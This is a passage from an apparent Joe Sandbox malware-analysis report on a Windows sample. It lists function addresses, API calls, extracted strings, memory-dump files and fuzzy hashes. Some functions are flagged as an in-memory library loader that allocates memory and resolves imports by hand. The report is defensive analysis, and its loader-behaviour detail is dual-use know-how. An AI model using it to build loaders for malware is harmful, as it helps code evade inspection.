GetProcAddress.KERNEL32(00000000,WaitOnAddress), ref: 025BEA09
GetProcAddress.KERNEL32(00000000,WakeByAddressSingle), ref: 025BEA1B

Strings

api-ms-win-core-synch-l1-2-0, xrefs: 025BE9F2
VUUU, xrefs: 025BE6B5
WakeByAddressSingle, xrefs: 025BEA15
WaitOnAddress, xrefs: 025BEA03

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: Heap$AddressFreeHandleProc$AllocAllocateCloseCreateErrorLastModuleMutexProcess
String ID: VUUU$WaitOnAddress$WakeByAddressSingle$api-ms-win-core-synch-l1-2-0
API String ID: 4042372245-3834393415
Opcode ID: 55d967e54e466423e095bdf805a064c658e0ace68fa4e1e75b3f517678758ec5
Instruction ID: d85251f158df52b97471b404b9d6a6df791d13351629f1c617f97471875697e0
Opcode Fuzzy Hash: 55d967e54e466423e095bdf805a064c658e0ace68fa4e1e75b3f517678758ec5
Instruction Fuzzy Hash: 9DC1D372E083118FD729CF18D4467AABBE5FF84314F59892DE99A87381E730D845CB89

Uniqueness

Uniqueness Score: -1.00%

Function 0042C59F Relevance: 19.6, APIs: 4, Strings: 7, Instructions: 331
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,000C4E00,00003000,00000004), ref: 0042C6C3
VirtualAlloc.KERNELBASE(00000000,?,00003000,?,0000001B), ref: 0042C73A
LoadLibraryA.KERNELBASE(?), ref: 0042C8B1
GetProcAddress.KERNELBASE(?,-00000002), ref: 0042C8E1

Strings

Gs, xrefs: 0042C61A
M4U5, xrefs: 0042C60C
pfx8, xrefs: 0042C605
9+Di, xrefs: 0042C613
s<O?(Su(, xrefs: 0042C70B
6, xrefs: 0042C626
O, xrefs: 0042C64D

Memory Dump Source

Source File: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: AllocVirtual$AddressLibraryLoadProc
String ID: 6$9+Di$Gs$M4U5$O$pfx8$s<O?(Su(
API String ID: 2938105391-2690861754
Opcode ID: 916608cc3e3ec2ceff47aa40f93238c1188128ce52c19099b677353d2d13b359
Instruction ID: d8249402ebe6bdfeba434c09cdb94f051b8725f3fd3e4fd9d669bd8fa7343339
Opcode Fuzzy Hash: 916608cc3e3ec2ceff47aa40f93238c1188128ce52c19099b677353d2d13b359
Instruction Fuzzy Hash: B3D16B71F012699FDB24CFA8D9807ADBBB1FF49700F6480AAD845EB341E7749941CB58

Uniqueness

Uniqueness Score: -1.00%

Function 025801BB Relevance: 14.9, APIs: 6, Strings: 2, Instructions: 879memoryCOMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 025803CE
HeapFree.KERNEL32(00000000,?), ref: 02580CBB

Part of subcall function 025D04D0: TlsGetValue.KERNEL32(00000000), ref: 025D04E9
Part of subcall function 025D04D0: TlsGetValue.KERNEL32(00000000), ref: 025D0510
Part of subcall function 025D04D0: TlsSetValue.KERNEL32(00000000,00000000), ref: 025D055E
Part of subcall function 025D04D0: BCryptGenRandom.BCRYPT(00000000,?,00000010,00000002), ref: 025D0574

Part of subcall function 025D8E9F: GetProcessHeap.KERNEL32(?,Invalid,?,025D8DD0,?,?,?,?,02580204,?,000000FF,00000001,?,?), ref: 025D8EAD
Part of subcall function 025D8E9F: HeapAlloc.KERNEL32(00000000,00000000,?,?,Invalid,?,025D8DD0,?,?,?,?,02580204,?,000000FF,00000001,?), ref: 025D8EB7

HeapFree.KERNEL32(00000000,?), ref: 02580F29
HeapFree.KERNEL32(00000000,?), ref: 02580F6F

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 02581053
cannot access a Thread Local Storage value during or after destruction/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\std\src\thread\local.rs, xrefs: 02581069

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: Heap$FreeValue$AllocArrayCryptDestroyProcessRandomSafe
String ID: called `Result::unwrap()` on an `Err` value$cannot access a Thread Local Storage value during or after destruction/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\std\src\thread\local.rs
API String ID: 3513538077-3781368868
Opcode ID: afab51d457147d9503c0fd98708c68e03d0c694e95e03f62fd6aae5e2d80514a
Instruction ID: acd36a75ad88639b3c2ccdd3db76e2e9cc147338c5d2ad10ea6ebccb2077bd76
Opcode Fuzzy Hash: afab51d457147d9503c0fd98708c68e03d0c694e95e03f62fd6aae5e2d80514a
Instruction Fuzzy Hash: 41823971A093818FD324DF28C480B6AFBE1BFC9300F15895EE999A7351E7B0D949CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0256EAC0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 177
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAddVectoredExceptionHandler.NTDLL(00000000,025BEC80), ref: 0256EAF4
SetThreadStackGuarantee.KERNELBASE(00005000), ref: 0256EB0D
GetLastError.KERNEL32 ref: 0256EB17
HeapFree.KERNEL32(00000000,?), ref: 0256ED40
HeapFree.KERNEL32(00000000,?), ref: 0256ED66

Part of subcall function 025BF1B0: HeapFree.KERNEL32(00000000,00000000), ref: 025BF223
Part of subcall function 025BF1B0: HeapFree.KERNEL32(00000000,?), ref: 025BF232

Strings

Invalid, xrefs: 0256ECB1, 0256ECFB
main, xrefs: 0256EB2D

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$ErrorExceptionGuaranteeHandlerLastStackThreadVectored
String ID: Invalid$main
API String ID: 679289583-3302030394
Opcode ID: 97822b7fcaafc0a4f896eb4d43eeb8f0d09ae419207fdca03916c603226dbb11
Instruction ID: 1d940196d7923b0829f377ad2e291feccd8aba3296c9933f3666481e550b35ec
Opcode Fuzzy Hash: 97822b7fcaafc0a4f896eb4d43eeb8f0d09ae419207fdca03916c603226dbb11
Instruction Fuzzy Hash: 2C7156B0D002099BEF14DFA4D989BEEBFB6FF40308F140428E515AB280E7B55588CF99

Uniqueness

Uniqueness Score: -1.00%

Function 025D04D0 Relevance: 10.6, APIs: 7, Instructions: 142
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32(00000000), ref: 025D04E9
TlsGetValue.KERNEL32(00000000), ref: 025D0510
TlsSetValue.KERNEL32(00000000,00000000), ref: 025D055E
BCryptGenRandom.BCRYPT(00000000,?,00000010,00000002), ref: 025D0574

Part of subcall function 025F0970: InitOnceBeginInitialize.KERNEL32(0262005C,00000000,00000000,00000000), ref: 025F0993
Part of subcall function 025F0970: TlsAlloc.KERNEL32 ref: 025F09A8
Part of subcall function 025F0970: InitOnceComplete.KERNEL32(0262005C,00000000,00000000), ref: 025F09D9

Part of subcall function 025CCE20: SystemFunction036.ADVAPI32(?,00000010), ref: 025CCE64

Part of subcall function 025F0970: TlsAlloc.KERNEL32 ref: 025F09E1
Part of subcall function 025F0970: InitOnceComplete.KERNEL32(0262005C,00000004,00000000), ref: 025F0A30

TlsSetValue.KERNEL32(00000000,00000001), ref: 025D064A
HeapFree.KERNEL32(00000000,?), ref: 025D0659
TlsSetValue.KERNEL32(00000000,00000000), ref: 025D067D

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: Value$InitOnce$AllocComplete$BeginCryptFreeFunction036HeapInitializeRandomSystem
String ID:
API String ID: 3346809877-0
Opcode ID: d241ee11fc5b5ce25e57cb8d8ee48297158e9a5059d31292bd20cec522c6b448
Instruction ID: 44d43da4a085e82d5960fe845d2ae37c883de1e52f1ed4cd300e000a1a9d4371
Opcode Fuzzy Hash: d241ee11fc5b5ce25e57cb8d8ee48297158e9a5059d31292bd20cec522c6b448
Instruction Fuzzy Hash: B241C571A006599FE7609F68C804BBEBBA9FF44714F044918ED45D72C0D770EC84CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00415DDE Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(?,0043A478,00000060), ref: 00415DFE
GetModuleHandleA.KERNEL32(00000000,?,0043A478,00000060), ref: 00415E51
GetCommandLineA.KERNEL32(?,0043A478,00000060), ref: 00415EE3
GetStartupInfoA.KERNEL32(?), ref: 00415F34
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00415F57

Strings

`&U, xrefs: 00415EE9

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: HandleModule$CommandInfoLineStartupVersion
String ID: `&U
API String ID: 2778164164-1867068525
Opcode ID: 7580fc86ef3703e129c93f81ffe4cb78bab1cb0c9785aa81ad774adae03db122
Instruction ID: 4de3da79c62a0b75e44d7bd2c56d04160538a993b3b658ad46e0b3fd54b52aaf
Opcode Fuzzy Hash: 7580fc86ef3703e129c93f81ffe4cb78bab1cb0c9785aa81ad774adae03db122
Instruction Fuzzy Hash: 8D417D71D00B14CADB20AB76A8466EE37B1AF85714F24443FE5589A291DB3C89C2CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 025D91D2 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 235
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocStringLen.OLEAUT32(?,?), ref: 025D9413
SysStringLen.OLEAUT32(00000000), ref: 025D9420
SysFreeString.OLEAUT32(00000000), ref: 025D9439
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,02581C5A), ref: 025D9450

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 025D9487

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: String$Free$AllocHeap
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 1317130057-2333694755
Opcode ID: 8ebc5e2f3cdc024c124c70e883f3b57dc24d5a551b9094c4bc98e45e1cb7744c
Instruction ID: 538e1765b37d891f2f553aadb64fa103fec5423cfdc0326530772e693b6d2a30
Opcode Fuzzy Hash: 8ebc5e2f3cdc024c124c70e883f3b57dc24d5a551b9094c4bc98e45e1cb7744c
Instruction Fuzzy Hash: E8712A73E046555BD3288E5DC89027ABBD2BBC4354F0A893DE89ECB381DA70DC05C799

Uniqueness

Uniqueness Score: -1.00%

Function 025D04C0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000), ref: 025D04E9
TlsGetValue.KERNEL32(00000000), ref: 025D0510
TlsSetValue.KERNEL32(00000000,00000000), ref: 025D055E
BCryptGenRandom.BCRYPT(00000000,?,00000010,00000002), ref: 025D0574

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: Value$CryptRandom
String ID:
API String ID: 658332386-0
Opcode ID: 3dc47e2773e6529d64e042b24fb5dda9b56c6546fd4cce04747590574309cbec
Instruction ID: 19ce33ab647d17b548b14a7187c942de8c705182e30376e72912b9ef476c06c6
Opcode Fuzzy Hash: 3dc47e2773e6529d64e042b24fb5dda9b56c6546fd4cce04747590574309cbec
Instruction Fuzzy Hash: 0121CD70A006448FE7309F2D9809B6A7BE8FF04709F058918ED48DB290E731EC94CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 025CD430 Relevance: 3.0, APIs: 2, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,?,025EFBF2,?,?,025BAA2A,?,?,?,?,025BA70C,?,?,?,0257161A,025DD2B0), ref: 025CD43F
RtlAllocateHeap.NTDLL(00550000,00000000,00000014,00000000,?,025EFBF2,?,?,025BAA2A,?,?,?,?,025BA70C,?,?), ref: 025CD451

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: db68e3975aa20c30635d5e3bb7248bf83c1601afedf64feabd2d0e1cc0c66555
Instruction ID: 9ac9bae91a537a76402f0eb1b9685ebffcc1c9ee1d65aba493d50f71c5cd4eec
Opcode Fuzzy Hash: db68e3975aa20c30635d5e3bb7248bf83c1601afedf64feabd2d0e1cc0c66555
Instruction Fuzzy Hash: CCD02B70B015015F47748EB9BC88C572EBCFBC52A23110839AA04C3100F7B0D490C3B8

Uniqueness

Uniqueness Score: -1.00%

Function 025D1862 Relevance: 1.6, Strings: 1, Instructions: 320COMMON

Download Yara Rule

Strings

cannot access a Thread Local Storage value during or after destruction/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\std\src\thread\local.rs, xrefs: 025D1B26

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: Value$CryptRandom
String ID: cannot access a Thread Local Storage value during or after destruction/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\std\src\thread\local.rs
API String ID: 658332386-682668089
Opcode ID: 7398c3051851fca3b045e1980b1cecaecad982849c1408c16ad1732a4c7aeb51
Instruction ID: 15ca2c4429ebdbdd95a60fb601e37a2ae619c49779e9895b7edb5150d0d83e32
Opcode Fuzzy Hash: 7398c3051851fca3b045e1980b1cecaecad982849c1408c16ad1732a4c7aeb51
Instruction Fuzzy Hash: A1D14A71A087109FD358DF69C88035AF7E2FBC8310F1AC93EE99AD7250DA74E8419B81

Uniqueness

Uniqueness Score: -1.00%

Function 0042C5FF Relevance: 19.6, APIs: 4, Strings: 7, Instructions: 311
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,000C4E00,00003000,00000004), ref: 0042C6C3
VirtualAlloc.KERNELBASE(00000000,?,00003000,?,0000001B), ref: 0042C73A

Strings

Gs, xrefs: 0042C61A
M4U5, xrefs: 0042C60C
pfx8, xrefs: 0042C605
9+Di, xrefs: 0042C613
s<O?(Su(, xrefs: 0042C70B
6, xrefs: 0042C626
O, xrefs: 0042C64D

Memory Dump Source

Source File: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: AllocVirtual
String ID: 6$9+Di$Gs$M4U5$O$pfx8$s<O?(Su(
API String ID: 4275171209-2690861754
Opcode ID: 5771f0e1f234e3279db517ca23c00010e8d1b9e8e672e5662b23c37979f35266
Instruction ID: cd5d1eeb5dad64a7cc3f15a6d20144d3d4e45bed201563ddaa11bfec4b45d5f5
Opcode Fuzzy Hash: 5771f0e1f234e3279db517ca23c00010e8d1b9e8e672e5662b23c37979f35266
Instruction Fuzzy Hash: C8C14771F012699FCB24CFA8D9807ADBBB1FF49304F6881AAD845EB341E7749941CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0042B64B Relevance: 15.1, APIs: 10, Instructions: 101
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(0044AEF4,?,?,?,0044AED8,0044AED8,0042BB1F,?,?,?,0042B380,00429E06,0040C70D), ref: 0042B65A
GlobalAlloc.KERNELBASE(00000002,00000000,00000000,?,?,?,0044AED8,0044AED8,0042BB1F,?,?,?,0042B380,00429E06,0040C70D), ref: 0042B6AC
GlobalHandle.KERNEL32(00563488), ref: 0042B6B5
GlobalUnlock.KERNEL32(00000000,?,?,?,0044AED8,0044AED8,0042BB1F,?,?,?,0042B380,00429E06,0040C70D), ref: 0042B6BE
GlobalReAlloc.KERNEL32(00000000,00000000,00002002), ref: 0042B6D0
GlobalHandle.KERNEL32(00563488), ref: 0042B6EC
GlobalLock.KERNEL32(00000000,?,?,?,0044AED8,0044AED8,0042BB1F,?,?,?,0042B380,00429E06,0040C70D), ref: 0042B6F3
LeaveCriticalSection.KERNEL32(00429E06,?,?,?,0044AED8,0044AED8,0042BB1F,?,?,?,0042B380,00429E06,0040C70D), ref: 0042B6F9
GlobalLock.KERNEL32(0040C70D,?,?,?,0044AED8,0044AED8,0042BB1F,?,?,?,0042B380,00429E06,0040C70D), ref: 0042B708
LeaveCriticalSection.KERNEL32(?), ref: 0042B74A

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock
String ID:
API String ID: 2667261700-0
Opcode ID: 78356631f8aaed9052733949075a33ef6c867759e15218fc8afabd321056c18c
Instruction ID: 222caff267ab2058375ee3363c8eab48129623bed3694301ddaedbbb3d00f7f7
Opcode Fuzzy Hash: 78356631f8aaed9052733949075a33ef6c867759e15218fc8afabd321056c18c
Instruction Fuzzy Hash: 0F3178B23007059FD720DF68EC88A26B7F8FB84300B84493EE892C3650D735EC198B69

Uniqueness

Uniqueness Score: -1.00%

Function 025CCCC0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 98
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadStackGuarantee.KERNELBASE(?), ref: 025CCCF8
GetLastError.KERNEL32 ref: 025CCD02
HeapFree.KERNEL32(00000000,00000000), ref: 025CCD4C
HeapFree.KERNEL32(00000000,?), ref: 025CCD5D
HeapFree.KERNEL32(00000000,?), ref: 025CCDFD
HeapFree.KERNEL32(00000000,?), ref: 025CCE0E

Strings

Invalid, xrefs: 025CCD95

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$ErrorGuaranteeLastStackThread
String ID: Invalid
API String ID: 3680998240-874791708
Opcode ID: 4399c9994135dbe0c8e17ff92685b5f78a6edf055758ff584c448ca5ad11f9c0
Instruction ID: 378f2ce3f99fc9cf91ad893b09139878ce20e6bb90375a3415bba80646fabf22
Opcode Fuzzy Hash: 4399c9994135dbe0c8e17ff92685b5f78a6edf055758ff584c448ca5ad11f9c0
Instruction Fuzzy Hash: 274169B5D40208DFDF14DF94D948BAEBFB5FB08305F108469E915AB2A0E335A958CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00426EB8 Relevance: 12.0, APIs: 8, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(0000000B), ref: 00426EC5
GetSystemMetrics.USER32(0000000C), ref: 00426ECC
GetSystemMetrics.USER32(00000002), ref: 00426ED3
GetSystemMetrics.USER32(00000003), ref: 00426EDD
GetDC.USER32(00000000), ref: 00426EE7
GetDeviceCaps.GDI32(00000000,00000058), ref: 00426EF8
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00426F00
ReleaseDC.USER32(00000000,00000000), ref: 00426F08

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: MetricsSystem$CapsDevice$CallbackDispatcherReleaseUser
String ID:
API String ID: 1031845853-0
Opcode ID: ed2417dc9456594cdf0b31a88eb29372da527a16b3c658b083092e7c9424d573
Instruction ID: b3796cda6346f1d9b14e489dd3367e8f14833ca86dd78446ae7436d4847d6f55
Opcode Fuzzy Hash: ed2417dc9456594cdf0b31a88eb29372da527a16b3c658b083092e7c9424d573
Instruction Fuzzy Hash: 23F09071A80700AEE3307F729C49F277BB8EBE1B51F51443AE6418B2D0CAF598068F54

Uniqueness

Uniqueness Score: -1.00%

Function 02581838 Relevance: 9.1, APIs: 6, Instructions: 144
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapFree.KERNEL32(00000000,1875003F), ref: 025818E4
HeapFree.KERNEL32(00000000,?), ref: 02581972
CopyFileExW.KERNELBASE(?,?,025D0350,00000000,00000000,00000000), ref: 02581994
HeapFree.KERNEL32(00000000,?), ref: 025819C0
GetLastError.KERNEL32 ref: 025819D6
HeapFree.KERNEL32(00000000,?), ref: 02581A00

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$CopyErrorFileLast
String ID:
API String ID: 492081815-0
Opcode ID: 1438b05f28117d9f75d6dcba2ec398f0a38173480ed7ef601973434d1e5b8115
Instruction ID: 5f48cb45767b7b1bdc0bbbe7a630f5b1c19ee80415af67046125e967d85d3563
Opcode Fuzzy Hash: 1438b05f28117d9f75d6dcba2ec398f0a38173480ed7ef601973434d1e5b8115
Instruction Fuzzy Hash: FC51FFB5600B009FD324CF15C984B62BBF6BB48314F14CA6DD89A8BB91D771A885CF94

Uniqueness

Uniqueness Score: -1.00%

Function 025C1A40 Relevance: 9.1, APIs: 6, Instructions: 113
timesleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWaitableTimerExW.KERNEL32 ref: 025C1A6C
SetWaitableTimer.KERNELBASE(?), ref: 025C1AEE
WaitForSingleObject.KERNEL32 ref: 025C1B0A
CloseHandle.KERNEL32 ref: 025C1B1E
CloseHandle.KERNEL32(?), ref: 025C1B37
Sleep.KERNEL32 ref: 025C1B91

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: CloseHandleTimerWaitable$CreateObjectSingleSleepWait
String ID:
API String ID: 2261246915-0
Opcode ID: b71517d2d12b4c1f416029f7367b8b9cada5edf90a6f91c740849bab3563fc43
Instruction ID: d617cb64646db3a0c9a7aefd691ba625d6e8b3f39b026d3d77bf61dfc31b2835
Opcode Fuzzy Hash: b71517d2d12b4c1f416029f7367b8b9cada5edf90a6f91c740849bab3563fc43
Instruction Fuzzy Hash: E841D771A047014FC704DF7C894426EBEE5AB88254F55CB3CE898C7391FA30C554CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0042C6B6 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 239
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,000C4E00,00003000,00000004), ref: 0042C6C3
VirtualAlloc.KERNELBASE(00000000,?,00003000,?,0000001B), ref: 0042C73A
LoadLibraryA.KERNELBASE(?), ref: 0042C8B1
GetProcAddress.KERNELBASE(?,-00000002), ref: 0042C8E1

Strings

s<O?(Su(, xrefs: 0042C70B

Memory Dump Source

Source File: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
